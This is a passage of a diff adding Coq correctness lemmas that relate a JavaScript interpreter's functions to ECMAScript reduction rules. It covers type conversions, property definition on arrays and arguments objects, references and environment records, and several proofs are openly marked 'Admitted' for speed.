+  applys* red_spec_object_default_value_1_default.
+  applys* red_spec_object_default_value_2.
+  subst. applys* M_correct.
+  clears S o. intros S o HR. simpls.
+  applys* red_spec_object_default_value_3.
+  subst. applys* M_correct.
+  clears S o. intros S o HR. simpls.
+  applys* red_spec_object_default_value_4.
+Admitted. (* faster *)
+
+(** Conversions *)
+
+Lemma to_primitive_correct : forall runs S C v o prefo,
+  runs_type_correct runs ->
+  to_primitive runs S C v prefo = o ->
+  red_expr S C (spec_to_primitive v prefo) o.
+Proof.
+  introv IH HR. unfolds in HR. destruct v.
+  run_inv. applys* red_spec_to_primitive_pref_prim.
+  applys* red_spec_to_primitive_pref_object.
+  applys* object_default_value_correct.
+  run_pre. rewrite R1. run_post; substs~.
+Qed.
+
+Lemma to_number_correct : forall runs S C v o,
+  runs_type_correct runs ->
+  to_number runs S C v = o ->
+  red_expr S C (spec_to_number v) o.
+Proof.
+  introv IH HR. unfolds in HR. destruct v.
+  run_inv. applys* red_spec_to_number_prim.
+  run red_spec_to_number_object using to_primitive_correct.
+  applys* red_spec_to_number_1.
+Qed.
+
+Lemma to_string_correct : forall runs S C v o,
+  runs_type_correct runs ->
+  to_string runs S C v = o ->
+  red_expr S C (spec_to_string v) o.
+Proof.
+  introv IH HR. unfolds in HR. destruct v.
+  run_inv. applys* red_spec_to_string_prim.
+  run red_spec_to_string_object using to_primitive_correct.
+  applys* red_spec_to_string_1.
+Qed.
+
+Lemma to_integer_correct : forall runs S C v o,
+  runs_type_correct runs ->
+  to_integer runs S C v = o ->
+  red_expr S C (spec_to_integer v) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  run red_spec_to_integer using to_number_correct.
+  applys* red_spec_to_integer_1.
+Qed.
+
+Lemma to_int32_correct : forall runs S C v (y:specret int),
+  runs_type_correct runs ->
+  to_int32 runs S C v = result_some y ->
+  red_spec S C (spec_to_int32 v) y.
+Proof.
+  introv IH HR. unfolds in HR.
+  run red_spec_to_int32 using to_number_correct.
+  applys* red_spec_to_int32_1.
+Qed.
+
+Lemma to_uint32_correct : forall runs S C v (y:specret int),
+  runs_type_correct runs ->
+  to_uint32 runs S C v = result_some y ->
+  red_spec S C (spec_to_uint32 v) y.
+Proof.
+  introv IH HR. unfolds in HR.
+  run red_spec_to_uint32 using to_number_correct.
+  applys* red_spec_to_uint32_1.
+Qed.
+
+Ltac run_select_proj_extra_conversions HT ::=
+  match HT with
+  | to_primitive => constr:(to_primitive_correct)
+  | to_number => constr:(to_number_correct)
+  | to_string => constr:(to_string_correct)
+  | to_int32 => constr:(to_int32_correct)
+  | to_uint32 => constr:(to_uint32_correct)
+  end.
+
+Lemma run_object_define_own_prop_array_loop_correct :
+  forall runs S C l newLen oldLen newLenDesc newWritable throw o 
+             (def : state -> prop_name -> descriptor -> strictness_flag -> specres nothing) 
+             (def_correct : forall S str o x Desc,
+                def S x Desc str = res_out o ->
+                red_expr S C (spec_object_define_own_prop_1 builtin_define_own_prop_default l x Desc str) o),
+    runs_type_correct runs ->
+    run_object_define_own_prop_array_loop runs S C l newLen oldLen newLenDesc newWritable throw def = o -> 
+    red_expr S C (spec_object_define_own_prop_array_3l l newLen oldLen newLenDesc newWritable throw) o.
+Proof.
+  introv Hyp HR IH.
+  unfolds run_object_define_own_prop_array_loop.
+  cases_if*. let_name. 
+  applys~ red_spec_object_define_own_prop_array_3l_condition_true. 
+  rewrite <- EQoldLen'.
+  run~ red_spec_object_define_own_prop_array_3l_ii.
+  run~ red_spec_object_define_own_prop_array_3l_ii_1.
+  destruct b; cases_if*; clear n.
+  applys* red_spec_object_define_own_prop_array_3l_ii_2.
+  eapply runs_type_correct_object_define_own_prop_array_loop; eassumption.
+
+  applys* red_spec_object_define_own_prop_array_3l_ii_2_3. 
+  eapply red_spec_object_define_own_prop_array_3l_iii_1. reflexivity.
+  destruct newWritable; try solve [false].
+  let_name as newLenDesc''. rewrite <- EQnewLenDesc''. 
+  apply red_spec_object_define_own_prop_array_3l_iii_2_true.
+  let_name. cases_if*. subst newLenDesc0.
+  run~ red_spec_object_define_own_prop_array_3l_iii_3.
+  applys* red_spec_object_define_own_prop_array_3l_iii_4. 
+  applys* red_spec_object_define_own_prop_reject.
+  applys* out_error_or_cst_correct.
+  let_name as newLenDesc''. rewrite <- EQnewLenDesc''. 
+  apply red_spec_object_define_own_prop_array_3l_iii_2_false.
+  let_name. cases_if*. subst newLenDesc0.
+  run~ red_spec_object_define_own_prop_array_3l_iii_3.
+  applys* red_spec_object_define_own_prop_array_3l_iii_4. 
+  applys* red_spec_object_define_own_prop_reject.
+  applys* out_error_or_cst_correct.
+  
+  applys~ red_spec_object_define_own_prop_array_3l_condition_false.
+  destruct newWritable; cases_if*; clear n.
+  inverts IH. applys* red_spec_object_define_own_prop_array_3n.
+
+  applys* red_spec_object_define_own_prop_array_3m.
+Qed.
+
+Lemma object_define_own_prop_correct : forall runs S C l x Desc str o,
+  runs_type_correct runs ->
+  object_define_own_prop runs S C l x Desc str = o ->
+  red_expr S C (spec_object_define_own_prop l x Desc str) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  let_name as rej. asserts Rej: (forall S str o,
+      rej S str = o ->
+      red_expr S C (spec_object_define_own_prop_reject str) o).
+    clear HR S str o. introv HR. subst.
+    applys* red_spec_object_define_own_prop_reject.
+    applys* out_error_or_cst_correct.
+  let_name as def. asserts Def: (forall S str o x Desc,
+      def S x Desc str = res_out o ->
+      red_expr S C (spec_object_define_own_prop_1 builtin_define_own_prop_default l x Desc str) o).
+    clear HR S str o Desc x. introv HR. subst.
+    run red_spec_object_define_own_prop_1_default.
+    run. applys* red_spec_object_define_own_prop_2.
+      applys* run_object_method_correct. clear E.
+    destruct a.
+      case_if.
+        let_name. run. forwards B: @pick_option_correct (rm E).
+         applys* red_spec_object_define_own_prop_3_undef_true A.
+         case_if; case_if*.
+        subst. applys* red_spec_object_define_own_prop_3_undef_false.
+      let_name as wri. asserts Wri: (forall S A o,
+          wri S A = res_out o ->
+          red_expr S C (spec_object_define_own_prop_write l x A Desc str) o).
+        clear HR o. introv HR. subst.
+        run. forwards B: @pick_option_correct (rm E).
+         applys* red_spec_object_define_own_prop_write.
+        clear EQwri.
+      case_if.
+        run_inv. applys* red_spec_object_define_own_prop_3_includes.
+        applys* red_spec_object_define_own_prop_3_not_include.
+        case_if.
+          run_inv. applys* red_spec_object_define_own_prop_4_reject.
+          applys* red_spec_object_define_own_prop_4_not_reject. case_if.
+            applys* red_spec_object_define_own_prop_5_generic. case_if.
+              applys* red_spec_object_define_own_prop_5_a. case_if;
+               [ | applys* red_spec_object_define_own_prop_6a_reject].
+    let_name. run. forwards B: @pick_option_correct (rm E).
+     applys* red_spec_object_define_own_prop_6a_accept A'.
+     case_if as HC1.
+       destruct a; inverts n2; tryfalse.
+         applys* red_spec_object_define_own_prop_5_b. case_if.
+           applys* red_spec_object_define_own_prop_6b_false_reject.
+           applys* red_spec_object_define_own_prop_6b_false_accept.
+       case_if. destruct a; tryfalse.
+        applys* red_spec_object_define_own_prop_5_c. case_if.
+          applys* red_spec_object_define_own_prop_6c_1.
+          applys* red_spec_object_define_own_prop_6c_2.
+    clear EQdef.
+  run.
+  applys* red_spec_object_define_own_prop.
+    applys* run_object_method_correct.
+  clear E. destruct x0. (* LTAC ARTHUR:  This [x0] wasn't properly named. *)
+    (* default *)
+    applys* Def.
+
+    (* Array object *)
+    run red_spec_object_define_own_prop_array_1. 
+    destruct a; [inverts HR | ]. destruct a; [ | inverts HR].
+    let_name. subst oldLen. 
+    eapply red_spec_object_define_own_prop_array_2. reflexivity.
+    destruct (attributes_data_value a); [ | inverts HR].
+    let_name. let_name. subst descValueOpt.
+    eapply red_spec_object_define_own_prop_array_2_1. reflexivity.
+    eapply red_spec_to_uint32. apply red_spec_to_number_prim. reflexivity.
+    apply red_spec_to_uint32_1. rewrite <- EQoldLen. 
+    case_if. subst x.
+    
+    apply red_spec_object_define_own_prop_array_branch_3_4_3.
+    assert (Hyp : {v | descriptor_value Desc = Some v} + {descriptor_value Desc = None}).
+    {
+      destruct (descriptor_value Desc); [left | right]; auto. exists~ v.
+    } inverts Hyp as Hyp. 
+
+    (* Step 3b *) 
+    destruct Hyp as (v & EQv); rewrite EQv in *.
+    run~ red_spec_object_define_own_prop_array_3_3c; rename a0 into newLen.
+    run~ red_spec_object_define_own_prop_array_3c; rename m into newLenN.
+    case_if*. applys~ red_spec_object_define_own_prop_array_3d.
+    applys* run_error_correct. let_name.
+    applys~ red_spec_object_define_own_prop_array_3e.
+    clear dependent newLenN. case_if*.
+    subst; applys* red_spec_object_define_own_prop_array_3f.
+    case_if*. applys* red_spec_object_define_own_prop_array_3g.
+    applys~ red_spec_object_define_own_prop_array_3g_to_h.
+    rewrite <- EQnewLenDesc. let_name. let_name as newLenDesc'. 
+    cases_if*; lets HnW : n1; rewrite EQnewWritable in n1. 
+    apply red_spec_object_define_own_prop_array_3i.
+    destruct (descriptor_writable newLenDesc); jauto.
+    cases_if*. false~. clear n1 EQnewWritable. rewrite <- EQnewLenDesc'.
+    replace false with newWritable by (destruct newWritable; auto; false).
+    run* red_spec_object_define_own_prop_array_3j. destruct b; case_if*; clear n1.
+    apply red_spec_object_define_own_prop_array_to_3l.
+    applys* run_object_define_own_prop_array_loop_correct.
+    
+    inverts HR. apply red_spec_object_define_own_prop_array_3k.
+    apply red_spec_object_define_own_prop_array_3h.
+    destruct (descriptor_writable newLenDesc); jauto.
+    cases_if*. clear n1 EQnewWritable. subst newLenDesc'. 
+    replace true with newWritable by (destruct newWritable; auto; false).
+    run* red_spec_object_define_own_prop_array_3j. destruct b; case_if*; clear n1.
+    apply red_spec_object_define_own_prop_array_to_3l.
+    applys* run_object_define_own_prop_array_loop_correct.
+
+    inverts HR. applys* red_spec_object_define_own_prop_array_3k.
+    
+    (* Step 3a *) 
+    rewrite Hyp in HR. applys~ red_spec_object_define_own_prop_array_3_3a.
+
+    (* Branching between Step 4 and Step 5 *)
+    applys~ red_spec_object_define_own_prop_array_branch_3_4_4.
+    run red_spec_object_define_own_prop_array_branch_4_5.
+    run red_spec_object_define_own_prop_array_branch_4_5_a.
+    case_if. rename a0 into ilen, s into slen.
+    applys~ red_spec_object_define_own_prop_array_branch_4_5_b_4.
+    run red_spec_object_define_own_prop_array_4a.
+    case_if; rename a0 into index.
+    applys~ red_spec_object_define_own_prop_array_4b.
+    run~ red_spec_object_define_own_prop_array_4c.
+    destruct b; case_if*. case_if.
+    eapply red_spec_object_define_own_prop_array_4c_e. auto. reflexivity. auto.
+    run_inv. applys~ red_spec_object_define_own_prop_array_4f.
+    applys~ red_spec_object_define_own_prop_array_4c_d.
+    applys~ red_spec_object_define_own_prop_array_branch_4_5_b_5.
+    applys~ red_spec_object_define_own_prop_array_5. 
+
+    (* arguments object *)
+    run. forwards~ obpm: run_object_method_correct (rm E).
+    run. subst. run~ red_spec_object_define_own_prop_args_obj.
+    run~ red_spec_object_define_own_prop_args_obj_1. cases_if; substs.
+     let_name. asserts Follow: (forall S o,
+         follow S = result_some (specret_out o) ->
+         red_expr S C spec_args_obj_define_own_prop_6 o).
+       introv RES. rewrite EQfollow in RES. inverts RES.
+       apply* red_spec_object_define_own_prop_args_obj_6.
+     clear EQfollow. destruct a as [|A]. (* LTAC ARTHUR: this [a] has been defined by tactics. *)
+      apply~ red_spec_object_define_own_prop_args_obj_2_true_undef.
+      cases_if.
+       run~ red_spec_object_define_own_prop_args_obj_2_true_acc.
+        apply* red_spec_object_define_own_prop_args_obj_5.
+       let_name as next. asserts Next: (forall S o,
+           next S = result_some (specret_out o) ->
+           red_expr S C (spec_args_obj_define_own_prop_4 l x Desc str x1) o).
+         introv RES. rewrite EQnext in RES. cases_if.
+          run~ red_spec_object_define_own_prop_args_obj_4_false.
+           apply~ red_spec_object_define_own_prop_args_obj_5.
+          apply~ red_spec_object_define_own_prop_args_obj_4_not_false.
+        clear EQnext. sets_eq <- dvDesc: (descriptor_value Desc). destruct dvDesc.
+         run~ red_spec_object_define_own_prop_args_obj_2_true_not_acc_some.
+          apply~ red_spec_object_define_own_prop_args_obj_3.
+         apply~ red_spec_object_define_own_prop_args_obj_2_true_not_acc_none.
+     apply~ red_spec_object_define_own_prop_args_obj_2_false.
+Admitted. (* faster *)
+
+Lemma prim_new_object_correct : forall S C w o,
+  prim_new_object S w = o ->
+  red_expr S C (spec_prim_new_object w) o.
+Proof.
+ introv H. destruct w; tryfalse;
+ unfolds in H;  repeat let_simpl;
+ match goal with H: context [object_alloc ?s ?o] |- _ => sets_eq X: (object_alloc s o) end;
+ destruct X as (l&S').
+ inversion H. applys* red_spec_prim_new_object_bool.
+ inversion H. applys* red_spec_prim_new_object_number.
+ run. applys* red_spec_prim_new_object_string.
+ apply pick_option_correct in E. auto.
+Qed.
+
+(* todo: move to the right place above here *)
+Lemma to_object_correct : forall S C v o,
+  to_object S v = o ->
+  red_expr S C (spec_to_object v) o.
+Proof.
+  hint run_error_correct_2, prim_new_object_correct.
+  introv HR. unfolds in HR. destruct v as [w|l].
+    destruct w.
+      applys* red_spec_to_object_undef_or_null.
+      applys* red_spec_to_object_undef_or_null.
+      applys* red_spec_to_object_prim. rew_logic*. splits; congruence.
+      applys* red_spec_to_object_prim. rew_logic*. splits; congruence.
+      applys* red_spec_to_object_prim. rew_logic*. splits; congruence.
+    run_inv. applys* red_spec_to_object_object.
+Qed.
+
+Lemma run_object_prim_value_correct : forall S l o,
+  run_object_prim_value S l = o ->
+  exists (v : value), o = out_ter S v /\
+  object_prim_value S l v.
+Proof.
+  introv HR. unfolds in HR. do 2 runs. eexists. splits*.
+  forwards~: run_object_method_correct E.
+Qed.
+
+Lemma prim_value_get_correct : forall runs S C v x o,
+  runs_type_correct runs ->
+  prim_value_get runs S C v x = o ->
+  red_expr S C (spec_prim_value_get v x) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  run red_spec_prim_value_get using to_object_correct.
+  applys* red_spec_prim_value_get_1.
+  applys* object_get_builtin_correct.
+Admitted. (*faster*)
+
+Lemma object_put_complete_correct : forall runs S C B vthis l x v str o,
+  runs_type_correct runs ->
+  object_put_complete runs B S C vthis l x v str = o ->
+  red_expr S C (spec_object_put_1 B vthis l x v str) o.
+Proof.
+  introv IH HR. unfolds in HR. destruct B.
+  run red_spec_object_put_1_default using object_can_put_correct. cases_if.
+   run red_spec_object_put_2_true. let_name.
+    asserts follows_correct: (forall Aa o,
+        a = full_descriptor_undef \/ (a = attributes_accessor_of Aa) ->
+        follow tt = res_out o ->
+        red_expr S0 C (spec_object_put_3 vthis l x v str (specret_val S2 a)) o).
+      clear HR. introv N E. substs.
+      run red_spec_object_put_3_not_data using run_object_get_prop_correct. apply* N.
+      clear N. tests Acc: (exists Aa', a0 = attributes_accessor_of Aa').
+       lets (Aa'&?): (rm Acc). let_simpl. substs.
+        sets_eq va': (attributes_accessor_set Aa'). destruct va' as [|la']; tryfalse.
+        run* red_spec_object_put_4_accessor. rewrite <- EQva'. discriminate.
+        apply~ red_spec_object_put_5_return.
+       let_name. asserts E': (follow' tt = o0).
+         destruct a0 as [|()]; try solve [false~ Acc]; exact E.
+        asserts (?&H'): (exists (Ad : attributes_data),
+          a0 = full_descriptor_undef \/ a0 = Ad).
+         destruct a0 as [|()]. exists* (arbitrary : attributes_data). exists* a0. false~ Acc.
+        clear E. substs. destruct vthis.
+         forwards (H&_): out_error_or_void_correct C (rm E').
+          applys* red_spec_object_put_4_not_accessor_prim H.
+         let_simpl. run* red_spec_object_put_4_not_accessor_object using
+           object_define_own_prop_correct. apply~ red_spec_object_put_5_return.
+     destruct a as [|[Ad|Aa]]. applys~ follows_correct (arbitrary : attributes_accessor).
+     clear EQfollow follow follows_correct.
+     destruct vthis as [wthis|lthis].
+      apply~ red_spec_object_put_3_data_prim. apply~ out_error_or_void_correct.
+      let_simpl. run* red_spec_object_put_3_data_object
+        using object_define_own_prop_correct. apply~ red_spec_object_put_5_return.
+     apply~ follows_correct.
+   apply~ red_spec_object_put_2_false. apply~ out_error_or_void_correct.
+Qed.
+
+Lemma prim_value_put_correct : forall runs S C w x v str o,
+  runs_type_correct runs ->
+  prim_value_put runs S C w x v str = o ->
+  red_expr S C (spec_prim_value_put w x v str) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  run red_spec_prim_value_put using to_object_correct.
+  applys* red_spec_prim_value_put_1.
+  applys* object_put_complete_correct.
+Qed.
+
+
+
+(*************************************************************)
+
+Lemma env_record_get_binding_value_correct : forall runs S C L rn rs o,
+  runs_type_correct runs ->
+  env_record_get_binding_value runs S C L rn rs = o ->
+  red_expr S C (spec_env_record_get_binding_value L rn rs) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  run_simpl. forwards B: @pick_option_correct (rm E).
+  applys~ red_spec_env_record_get_binding_value B. destruct x.
+   run_simpl. rewrite <- Heap.binds_equiv_read_option in E. destruct x as [mu v].
+    cases_if.
+     applys~ red_spec_env_record_get_binding_value_1_decl_uninitialized E.
+      apply~ out_error_or_cst_correct.
+     applys~ red_spec_env_record_get_binding_value_1_decl_initialized E.
+      run_inv. apply~ red_spec_returns.
+   run red_spec_env_record_get_binding_value_1_object using object_has_prop_correct.
+    cases_if; run_inv.
+     apply~ red_spec_env_record_get_binding_value_obj_2_true.
+      applys~ run_object_get_correct HR.
+     apply~ red_spec_env_record_get_binding_value_obj_2_false.
+      applys~ out_error_or_cst_correct HR.
+Qed.
+
+
+Lemma throw_result_run_error_correct : forall runs S C ne T (y:specret T),
+  runs_type_correct runs ->
+  throw_result (run_error S ne) = result_some y ->
+  red_spec S C (spec_error_spec ne) y.
+Proof.
+  introv IH HR. unfolds throw_result.
+  lets ([|y1]&E&K): if_result_some_out (rm HR); tryfalse_nothing. run_inv.
+  lets (E2&Ab): run_error_correct' (rm E).
+  applys* red_spec_error_spec.
+  abort.
+Qed.
+
+
+Lemma ref_kind_env_record_inv : forall r,
+  ref_kind_of r = ref_kind_env_record ->
+  exists L, ref_base r = ref_base_type_env_loc L.
+Proof.
+  introv E. unfolds ref_kind_of.
+  destruct (ref_base r).
+    destruct v; tryfalse. destruct p; tryfalse.
+    exists___*.
+Qed.
+
+Lemma ref_kind_base_object_inv : forall r,
+  (ref_kind_of r = ref_kind_primitive_base \/
+     ref_kind_of r = ref_kind_object) ->
+  exists v, ref_base r = ref_base_type_value v.
+Proof.
+  introv E. unfolds ref_kind_of.
+  destruct E; destruct (ref_base r); tryfalse;
+    destruct v; tryfalse; try solve [exists___*].
+Qed.
+
+
+Lemma ref_get_value_correct : forall runs S C rv y,
+  runs_type_correct runs ->
+  ref_get_value runs S C rv = result_some y ->
+  red_spec S C (spec_get_value rv) y.
+Proof.
+  introv IH HR. unfolds in HR. destruct rv; tryfalse.
+  run_inv. applys* red_spec_ref_get_value_value.
+  let_name as M.
+  asserts M_correct: (
+    (  ref_kind_of r = ref_kind_primitive_base
+    \/ ref_kind_of r = ref_kind_object) ->
+    M tt = result_some y ->
+    red_spec S C (spec_get_value r) y).
+   clear HR. introv EQ HR. subst M.
+   asserts: (ref_is_property r). unfolds. destruct* EQ.
+   lets (v&Ev): ref_kind_base_object_inv EQ. rewrite Ev in HR.
+   unfolds ref_has_primitive_base. case_if.
+     run* red_spec_ref_get_value_ref_b_has_primitive_base using prim_value_get_correct.
+      applys* red_spec_ref_get_value_ref_b_1.
+     destruct EQ; tryfalse. destruct v as [|l]; tryfalse.
+     run* red_spec_ref_get_value_ref_b_has_not_primitive_base using run_object_get_correct.
+      applys* red_spec_ref_get_value_ref_b_1.
+    clear EQM.
+  sets_eq k: (ref_kind_of r). destruct k; tryfalse.
+  (* case undef *)
+  applys* red_spec_ref_get_value_ref_a. unfolds*.
+   applys* throw_result_run_error_correct.
+  (* case prim *)
+  applys* M_correct.
+  (* case object *)
+  applys* M_correct.
+  (* case env_record *)
+  lets (L&EQL): ref_kind_env_record_inv (sym_eq EQk).
+  rewrite EQL in HR.
+  run* red_spec_ref_get_value_ref_c using env_record_get_binding_value_correct.
+  applys* red_spec_ref_get_value_ref_c_1.
+Admitted. (*faster*)
+
+
+Lemma object_put_correct : forall runs S C l x v str o,
+  runs_type_correct runs ->
+  object_put runs S C l x v str = o ->
+  red_expr S C (spec_object_put l x v str) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  run. applys red_spec_object_put. apply* run_object_method_correct.
+  applys* object_put_complete_correct.
+Admitted. (*faster*)
+
+Lemma env_record_set_mutable_binding_correct : forall runs S C L x v str o,
+  runs_type_correct runs ->
+  env_record_set_mutable_binding runs S C L x v str = o ->
+  red_expr S C (spec_env_record_set_mutable_binding L x v str) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  run_simpl. forwards B: @pick_option_correct (rm E).
+  applys~ red_spec_env_record_set_mutable_binding B. destruct x0.
+   run_simpl. rewrite <- Heap.binds_equiv_read_option in E. destruct x0 as [mu ?].
+    cases_if; run_inv.
+     applys~ red_spec_env_record_set_mutable_binding_1_decl_mutable E.
+      apply~ red_spec_returns.
+     applys~ red_spec_env_record_set_mutable_binding_1_decl_non_mutable E.
+      apply~ out_error_or_void_correct.
+   apply~ red_spec_env_record_set_mutable_binding_1_object.
+    applys~ object_put_correct HR.
+Qed.
+
+
+Lemma ref_is_property_from_not_unresolvable_value : forall r v,
+  ~ ref_is_unresolvable r ->
+  ref_base r = ref_base_type_value v ->
+  ref_is_property r.
+Proof.
+  introv N E. unfolds ref_is_property, ref_is_unresolvable, ref_kind_of.
+  destruct (ref_base r); tryfalse. destruct* v0. destruct* p.
+Admitted. (* faster *)
+
+
+Lemma ref_put_value_correct : forall runs S C rv v o,
+  runs_type_correct runs ->
+  ref_put_value runs S C rv v = o ->
+  red_expr S C (spec_put_value rv v) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  destruct rv; tryfalse.
+   applys* red_spec_ref_put_value_value.
+   case_if.
+    case_if.
+     applys~ red_spec_ref_put_value_ref_a_1.
+      applys* run_error_correct.
+     applys~ red_spec_ref_put_value_ref_a_2.
+      applys* object_put_correct.
+    case_if.
+     cases (ref_base r); tryfalse.
+      case_if; destruct v0; tryfalse.
+       applys* red_spec_ref_put_value_ref_b_has_primitive_base.
+        applys* prim_value_put_correct.
+       applys* red_spec_ref_put_value_ref_b_has_not_primitive_base.
+        applys* object_put_correct.
+      cases (ref_base r); tryfalse.
+       applys* red_spec_ref_put_value_ref_c.
+       applys* env_record_set_mutable_binding_correct.
+Admitted. (* faster *)
+
+
+Lemma run_expr_get_value_correct : forall runs S C e y,
+  runs_type_correct runs ->
+  run_expr_get_value runs S C e = result_some y ->
+  red_spec S C (spec_expr_get_value e) y.
+Proof.
+  introv IH HR. unfolds in HR.
+  run red_spec_expr_get_value.
+  applys* red_spec_expr_get_value_1.
+   applys* ref_get_value_correct.
+Admitted. (* faster *)
+
+
+Ltac run_select_proj_extra_ref HT ::=
+  match HT with
+  | object_put => constr:(object_put_correct)
+  | ref_put_value => constr:(ref_put_value_correct)
+  | run_expr_get_value => constr:(run_expr_get_value_correct)
+  | object_define_own_prop => constr:(object_define_own_prop_correct)
+  end.
+
+Lemma env_record_create_mutable_binding_correct : forall runs S C L x deletable_opt o,
+  runs_type_correct runs ->
+  env_record_create_mutable_binding runs S C L x deletable_opt = o ->
+  red_expr S C (spec_env_record_create_mutable_binding L x deletable_opt) o.
+Proof.
+  introv IH HR. unfolds in HR. let_simpl.
+  run_simpl. forwards B: @pick_option_correct (rm E).
+  applys~ red_spec_env_record_create_mutable_binding B.
+  destruct x0.
+   cases_if; run_inv. let_simpl. run_inv.
+    apply~ red_spec_env_record_create_mutable_binding_1_decl_indom.
+   run red_spec_env_record_create_mutable_binding_1_object
+     using object_has_prop_correct. cases_if. let_simpl.
+    run* red_spec_env_record_create_mutable_binding_obj_2.
+    apply~ red_spec_env_record_create_mutable_binding_obj_3.
+Qed.
+
+Lemma env_record_create_set_mutable_binding_correct : forall runs S C L x deletable_opt v str o,
+  runs_type_correct runs ->
+  env_record_create_set_mutable_binding runs S C L x deletable_opt v str = o ->
+  red_expr S C (spec_env_record_create_set_mutable_binding L x deletable_opt v str) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  run red_spec_env_record_create_set_mutable_binding
+    using env_record_create_mutable_binding_correct.
+  forwards: env_record_set_mutable_binding_correct IH (rm HR).
+  apply~ red_spec_env_record_create_set_mutable_binding_1.
+Qed.
+
+Lemma env_record_create_immutable_binding_correct : forall S C L x o,
+  env_record_create_immutable_binding S L x = o ->
+  red_expr S C (spec_env_record_create_immutable_binding L x) o.
+Proof.
+  introv HR. unfolds in HR.
+  run_simpl. forwards B: @pick_option_correct (rm E).
+  destruct x0; tryfalse. cases_if. run_inv.
+  applys~ red_spec_env_record_create_immutable_binding B.
+Qed.
+
+Lemma env_record_initialize_immutable_binding_correct : forall S C L x v o,
+  env_record_initialize_immutable_binding S L x v = o ->
+  red_expr S C (spec_env_record_initialize_immutable_binding L x v) o.
+Proof.
+  introv HR. unfolds in HR.
+  run. forwards B: @pick_option_correct (rm E). destruct x0; tryfalse.
+  run. forwards B': @pick_option_correct (rm E). cases_if. let_simpl. run_inv. substs.
+  applys~ red_spec_env_record_initialize_immutable_binding B B'.
+Qed.
+
+(************************************************************)
+(* Treatement of [spec_expr_get_value_conv] *)
+
+Definition if_spec_ter_post_bool (K:state->bool->result) o (y:specret value) :=
+     (y = specret_out o /\ abort o)
+  \/ (exists S, exists (b:bool), y = specret_val S (value_prim b)
+       /\ K S b = o).
+
+Ltac run_post_if_spec_ter_post_bool H := (* todo: integrate into run_post *)
+  let Ab := fresh "Ab" in
+  let Eq := fresh "Eq" in
+  let S1 := fresh "S" in
+  let b := fresh "b" in
+  let O1 := fresh "O1" in
+  destruct H as [(Er&Ab)|(S1&b&O1&H)];
+  [ try abort | try subst_hyp O1 ].
+
+Lemma if_spec_post_to_bool : forall (K:state->bool->result) S C e o y1,
+  red_spec S C (spec_expr_get_value e) y1 ->
+  if_spec_post
+   (fun S v => 'let b := convert_value_to_boolean v in K S b) (specret_out o) y1 ->
+  exists y2,
+     red_spec S C (spec_expr_get_value_conv spec_to_boolean e) y2
+  /\ if_spec_ter_post_bool K o y2.
+Proof.
+  introv HR HP. run_post.
+  exists y1. splits.
+    subst. apply* red_spec_expr_get_value_conv. abort.
+    subst. left. splits; run_inv; auto~.
+  exists (specret_val S1 (value_prim (convert_value_to_boolean a))). splits.
+    applys* red_spec_expr_get_value_conv.
+     applys* red_spec_expr_get_value_conv_1.
+     applys* red_spec_to_boolean.
+     applys* red_spec_expr_get_value_conv_2.
+    right. exists S1 __. split. reflexivity. auto.
+Qed.
+
+(* LATER: avoid the copy-paste, and rename the tactic *)
+
+Definition if_spec_ter_post_object (K:state->object_loc->result) o (y:specret value) :=
+     (y = specret_out o /\ abort o)
+  \/ (exists S, exists (l:object_loc), y = specret_val S (value_object l)
+       /\ K S l = o).
+
+
+Lemma if_spec_post_to_object : forall (K:state->object_loc->result) S C e o y1,
+  red_spec S C (spec_expr_get_value e) y1 ->
+  if_spec_post
+   (fun S v => if_object (to_object S v) K) (specret_out o) y1 ->
+  exists y2,
+     red_spec S C (spec_expr_get_value_conv spec_to_object e) y2
+  /\ if_spec_ter_post_object K o y2.
+Proof.
+  introv HR HP. run_post.
+  exists y1. splits.
+    subst. apply* red_spec_expr_get_value_conv. abort.
+    subst. left. splits; run_inv; auto~.
+  run_pre. lets*: to_object_correct C (rm R1). run_post.
+    subst. exists (specret_out (T:=value) o1). split.
+      applys* red_spec_expr_get_value_conv.
+       applys* red_spec_expr_get_value_conv_1. abort.
+      left. splits~.
+    exists (specret_val S0 (value_object l)). split.
+      applys* red_spec_expr_get_value_conv.
+       applys* red_spec_expr_get_value_conv_1.
+       applys* red_spec_expr_get_value_conv_2.
+      right. exists___*.
+Qed.
+
+
+Definition lift2 T (C:T->value) y :=
+  match y with
+  | specret_val S' (x1,x2) => specret_val S' (C x1, C x2)
+  | specret_out o => specret_out o
+  end.
+
+
+Lemma convert_twice_primitive_correct : forall runs S C v1 v2 y,
+  runs_type_correct runs ->
+  convert_twice_primitive runs S C v1 v2 = result_some y ->
+  red_spec S C (spec_convert_twice (spec_to_primitive_auto v1) (spec_to_primitive_auto v2)) (lift2 value_prim y).
+Proof.
+  introv IH HR. unfolds in HR. unfolds in HR.
+  run red_spec_convert_twice.
+  run red_spec_convert_twice_1.
+  unfolds lift2. applys red_spec_convert_twice_2.
+Admitted. (*faster*)
+
+
+Lemma convert_twice_number_correct : forall runs S C v1 v2 y,
+  runs_type_correct runs ->
+  convert_twice_number runs S C v1 v2 = result_some y ->
+  red_spec S C (spec_convert_twice (spec_to_number v1) (spec_to_number v2)) (lift2 (fun n=>n:value) y).
+Proof.
+  introv IH HR. unfolds in HR. unfolds in HR.
+  run red_spec_convert_twice.
+  run red_spec_convert_twice_1.
+  unfolds lift2. applys red_spec_convert_twice_2.
+Admitted. (*faster*)
+
+Lemma convert_twice_string_correct : forall runs S C v1 v2 y,
+  runs_type_correct runs ->
+  convert_twice_string runs S C v1 v2 = result_some y ->
+  red_spec S C (spec_convert_twice (spec_to_string v1) (spec_to_string v2)) (lift2 (fun s=>s:value) y).
+Proof.
+  introv IH HR. unfolds in HR. unfolds in HR.
+  run red_spec_convert_twice.
+  run red_spec_convert_twice_1.
+  unfolds lift2. applys red_spec_convert_twice_2.
+Admitted. (*faster*)
+
+Lemma get_puremath_op_correct : forall op F,
+  get_puremath_op op = Some F ->
+  puremath_op op F.
+Proof.
+  Hint Constructors puremath_op.
+  introv HR. destruct op; simpls; inverts* HR.
+Admitted. (*faster*)
+
+Lemma get_inequality_op_correct : forall op b1 b2,
+  get_inequality_op op = Some (b1,b2) ->
